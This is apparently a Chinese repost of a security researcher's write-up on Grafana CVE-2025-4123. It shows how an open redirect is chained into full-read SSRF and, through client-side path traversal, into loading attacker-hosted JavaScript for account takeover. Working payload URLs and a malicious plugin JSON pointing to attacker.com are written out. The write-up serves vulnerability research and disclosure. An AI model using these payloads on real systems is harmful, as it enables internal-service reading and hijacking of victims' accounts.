声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
防走失:https://gugesay.com/archives/4339
不想错过任何消息?设置星标↓ ↓ ↓
前言
当 Web 应用程序采用 URL 参数并将用户重定向到指定的 URL 而不对其进行验证时,就会发生开放重定向。
/redirect?url=https://evil.com
--> (302 重定向) --> https://evil.com
这本身可能看起来并不危险,但这种类型的漏洞是发现两个独立漏洞的起点:完全读取 SSRF 和帐户接管。
本文就来详细讲解如何找到这两个漏洞的完整过程。
为什么选择Grafana
Grafana 是一个开源分析平台,主要使用 Go 和 TypeScript 构建,用于可视化来自 Prometheus 和 InfluxDB 等来源的数据。
在这个 Web 应用程序中能够找到漏洞将是一个很好的挑战,因此白帽小哥下载了源代码并开始调试——尽管这是小哥第一次使用 Go,他仍然决定专注于应用程序中未经身份验证的部分。
入口点
查看 api/api.go 中定义的所有未经身份验证的端点:
...// not logged in viewsr.Get("/logout", hs.Logout)r.Post("/login", requestmeta.SetOwner(requestmeta.TeamAuth), quota(string...r.Get("/login/:name", quota(string(auth.QuotaTargetSrv)), hs.OAuthLogin)r.Get("/login", hs.LoginView)r.Get("", hs.Index)// authed viewsr.Get("/", reqSignedIn, hs.Index)r.Get("/profile/", reqSignedInNoAnonymous, hs.Index)...
功能性
一个负责处理静态路由的函数成功引起了白帽小哥的注意:
func staticHandler(ctx *web.Context, log log.Logger, opt StaticOptions) bool {if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {returnfalse } file := ctx.Req.URL.Pathfor _, p := range opt.Exclude {if file == p {returnfalse } } // if we have a prefix, filter requests by stripping the prefixif opt.Prefix != "" {if !strings.HasPrefix(file, opt.Prefix) {returnfalse } file = file[len(opt.Prefix):]if file != "" && file[0] != '/' {returnfalse } } f, err := opt.FileSystem.Open(file)if err != nil {returnfalse } ..............}
该函数用于根据用户输入从系统中检索文件,白帽小哥第一个想法是尝试使用路径遍历来加载任意文件,例如 ../
大法或类似技巧。
如果请求 /public/file/../../../name
时,路径将被清理并解析为 /staticfiles/etc/etc/name
,从而有效地阻止对预期目录之外的非法访问。
此外,如果解析的最终路径指向文件夹, 则 StaticHandler 函数会检查其中的默认文件 — 通常从该目录提供 /index.html
。
iffi.IsDir() { // Redirect if missing trailing slash.if !strings.HasSuffix(ctx.Req.URL.Path, "/") { path := fmt.Sprintf("%s/", ctx.Req.URL.Path)if !strings.HasPrefix(path, "/") { // Disambiguate that it's a path relative to this server path = fmt.Sprintf("/%s", path) } else { // A string starting with // or / is interpreted by browsers as a URL, and not a server relative path rePrefix := regexp.MustCompile(`^(?:/\|/+)`) path = rePrefix.ReplaceAllString(path, "/") } http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound) return true } file = path.Join(file, opt.IndexFile) indexFile, err := opt.FileSystem.Open(file) ....}
如上所见,如果最终文件是一个目录,并且提供的路由 (/public/build)
不以 / 结尾,则服务器将重定向到同一路径,并z在尾部附加 /。
GET /public/build HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /public/build/
这种重定向行为是开放重定向漏洞发生的地方,因此接下来深入研究一下。
目标
假设有一个场景,应用程序根据提供的路由进行重定向,因此最终的重定向 URL 将始终以 / 开头。
那么我们的目标是创建一个路由,当请求时,该路由会重定向到以 / 开头的有效完整 URL,例如:
-
attacker.com/...
--> 表示协议相对 URL,它使用与当前页面相同的协议 (HTTPS) -
/attacker.com/...--> / 会执行相同的操作
问题及解决方案
要实现重定向功能,我们需要一个以 /public/
开头的路由,并在传递给 opt
时,FileSystem.Open(file)
将其解析为有效目录。
从 /public/attacker.com/../..
开始,它解析为空字符串 " "
,然后附加到 /staticfiles/etc/etc/
, 触发 if fi.isDir(){}
代码流。
/public/attacker.com/../..-->
/attacker.com/../.. --> "" -->
/staticfiles/etc/etc/+"" --> fi.isDir() TRUE
现在,有一种方法可以将任何Payload注入,它将被opt.FileSystem.Open(file)
解释为一个文件夹。
一旦进入 isDir()
处理部分,/public/attacker.com/../..
路径就会到达 http.Redirect()
函数,问题在于,此函数还会解析路径,这会导致重定向路径为/
。
iffi.IsDir() { ... //path is "/public/attacker.com/../.." but the final redirect is "/" http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)returntrue ...}
如果请求 /public/attacker.com/../..
GET /public/attacker.com/../.. HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /
因此我们需要创建一条路径,其中在加载文件时,/../../..
通过 opt.FileSystem.Open(file)
被解析,但在执行重定向时,http.Redirect()
中仍然未解析。
在每种情况下,路径的解析方式都不同:
-
opt.FileSystem.Open(file)
预期为一个系统文件 -
http.Redirect(path)
预期为一个 URL 路径 -
opt.FileSystem.Open(file)
将?
视为普通字符 -
http 的 Redirect(path)
将?
解析为 URL 参数的开头
这意味着 /public/attacker.com/?/../../../..
将被如下处理,
在 opt.FileSystem.Open()
— >
-
/public/attacker.com/?/../../../..
将被解析为""
->/staticfiles/etc/etc/
+""
有效文件夹。
在 http.redirect()
→
-
/public/attacker.com/?/../../../..
--> 后面的任何内容?
都被视为查询字符串,而不是作为路径的一部分进行解析。
请求 ?
-> %3f
:
GET /public/attacker.com/%3f/../.. HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /public/attacker.com/?/../../
最终 Payload
该 URL /public/attacker.com/?/../../../..
需要解析为以 /
开头的完整 URL。
使用路径: /public/../attacker.com/?/../../../..
,当 http.Redirect()
解析路径 时,会删除 /public
部分。
GET /public/../attacker.com/%3f/../../../../../.. HTTP/1.1Host: 192.168.100.2:3000
HTTP/1.1 302 FoundLocation: /attacker.com/?/../../../../../../
流程示意图:
完整读取 SSRF
开放重定向本身不会产生任何严重的安全影响,因此需要将其与另一个功能链接起来。
Grafana 有一个名为 /render
的端点,用于根据提供的路径生成图像。
// renderingr.Get("/render/*", requestmeta.SetSLOGroup(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
此端点使用无头浏览器来呈现用户指定的路由的 HTML,它只接受相对 URL 路径 /route
,不接受绝对 URL https://...
。
但是,如果使用找到的 open redirect 重定向到内部服务呢?
首先,尝试将 /render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f.. google.es
:
然后,设置了一个无法从外部访问的内部服务:
尝试用 /render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f.. 127.0.0.1:1234
:
通过该漏洞,便能够完全读取内部服务,由于浏览器用于渲染,因此我们甚至可以通过制作面向内部服务的表单来发送 POST 请求。
此外,该漏洞的前提需要登录才能利用,因此我们在未登录的前提下无法从中获得任何东西。
通过 XSS 进行帐户接管
客户端路径遍历
Grafana 的 Client 端代码的很大一部分允许 Client 端路径遍历。
例如,当在浏览器中加载 /invite/1
时,JavaScript 会向 /api/user/invite/1
发出请求以检索邀请信息。
但是,如果加载 /invite/..%2f..%2f..%2f..%2froute
,则 JavaScript 会解析路径遍历并最终加载 /route
。
这创造了一个完美的场景来强制 JavaScript 加载开放重定向,而该重定向反过来会从我们的服务器获取一个特别定制的JSON。
但首先,我们需要找到一个以不安全的方式加载内容的端点,并利用它来执行 JavaScript。
加载恶意 javascript 文件
可以使用 /a/plugin-app/explore
加载和管理插件应用程序。
此功能的 JavaScript 从 URL 中提取插件应用程序名称,并使用它从 /api/plugins/plugin-app/settings
请求插件信息。
/api/plugins/plugin-app/settings
内容如下:
{"name": "plugin-app","type": "app","id": "plugin-app","enabled": true,"pinned": true,"autoEnabled": true,"module": "/modules/..../plugin-app.js", //js file to load"baseUrl": "public/plugins/grafana-lokiexplore-app","info": {"author": {"name": "Grafana" ... } } ...}
/a/plugin-app/explore
加载该文件,并执行 “module” 参数中提供的 JavaScript。
/a/plugin-app/explore
容易受到客户端路径遍历的影响,这允许我们在服务器上加载任意路由,而不是 /api/plugin-app/settings
。
这允许我们加载打开的重定向,因此,获取自己的恶意 JSON,其中包含了我们想要的任何 JavaScript 文件。
通过利用所有必要的 JS 和 JSON 文件设置我们自己的服务器。只需要托管如下 JSON :
{"name": "ExploitPluginReq","type": "app","id": "grafana-lokiexplore-app","enabled": true,"pinned": true,"autoEnabled": true,"module": "http://attacker.com/file?js=file", //malicious js file"baseUrl": "public/plugins/grafana-lokiexplore-app","info": {"author": {...} } ...}
加载此路由, /a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore
,从而利用客户端路径遍历和开放重定向。
结果展示:
恶意 JavaScript 文件被执行,并允许我们更改受害者的电子邮件并重置他们的密码。
希望本文能给你更多启发~
原文:https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53
- END -
加入星球,随时交流:
(会员统一定价):128元/年(0.35元/天)感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~
原文始发于微信公众号(骨哥说事):【CVE-2025–4123】:Grafana SSRF 及帐户接管利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论